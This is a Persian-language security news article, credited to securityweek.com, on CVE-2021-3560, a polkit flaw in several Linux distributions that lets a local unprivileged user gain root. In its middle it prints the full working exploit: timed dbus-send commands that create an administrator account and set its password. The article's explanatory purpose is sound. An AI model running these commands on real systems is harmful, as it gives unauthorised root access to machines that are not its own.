هفتهی گذشته گیتهاب جزییات یک آسیب پذیری در لینوکس را منتشر کرد که به راحتی قابل اکسپلویت است. این آسیبپذیری از سرویس polkit نشأت میگیرد، و با بهرهگیری از آن میتوان سطح دسترسی را روی سیستم هدف تا سطح root بالا برد.
این نقص امنیتی به عنوان شدت بالا (high severity) دستهبندی شده و با شناسه CVE-2021-3560 شناخته میشود، و در سرویس polkit قرار دارد. polkit یک سرویس احراز هویت است که بهصورت پیشفرض در بسیاری از توزیعهای لینوکس وجود دارد.
این حفرهی امنیتی توسط Kevin Backhouse، عضو آزمایشگاه امنیت گیتهاب، شناسایی شده است. روز پنجشنبه، این محقق در یک پست بلاگ جزییات یافتههای خود را منتشر کرد و در ویدئویی عملکرد اکسپلویت را نشان داد.
یک مهاجم لوکال با سطح دسترسی معمولی و غیر privileged میتواند از این نقص امنیتی برای بالابردن سطح دسترسی خود تا root استفاده کند؛ آن هم فقط با وارد کردن چند فرمان در ترمینال.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!
openssl passwd -5 iaminvincible!
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
وجود این آسیبپذیری روی بعضی از نسخههای ردهت، فدورا، دبیان و اوبونتو تایید شده است. سوم ژوئن یک پچ برای CVE-2021-3560 منتشر شد.
آقای بکهاوس در این باره گفته است: «باگی که من پیدا کردم کاملا قدیمی بود. این باگ اولین بار هفت سال پیش با کامیت bfa5036 به وجود آمده و اولین بار با نسخه 0.113 از polkit منتشر شده است. با این وجود، بسیاری از پرطرفدارترین توزیعهای لینوکس تا همین اواخر نسخهی آسیبپذیر را اجرایی نکرده بودند.».
این کامپوننت آسیبپذیر، یعنی polkit، یک سرویس سیستمی است که برای کنترل مجوزها در سطح سیستم طراحی شده است. این سرویس امکان تعامل پروسسهای non-privileged را با پروسسهای privileged را به وجود میآورد.
آقای Backhouse این سرویس را این گونه توصیف میکند: سرویسی که نقش یک قاضی را دارد، و تصمیم میگیرد اکشن شروعشده توسط یک کاربر – به خصوص اکشنهایی که نیاز به دسترسیهای بالا دارند – میتواند مستقیما اجرا شود، یا به احراز هویت اضافه، مانند واردکردن پسورد نیاز دارد.
اکسپلویتکردن این آسیبپذیری بهتازگی کشفشده به راحتی امکان پذیر است و تنها به چند دستور در ترمینال نیاز دارد. با این وجود، به خاطر این که باید شرایط مناسب برای موفقیت اکسپلویت دقیقا مهیا باشد، معمولا مهاجم باید چند بار تلاش کند تا اکسپلویت موفق باشد.
منبع: securityweek.com
به جامعه کارشناسان امنیت بپیوندید!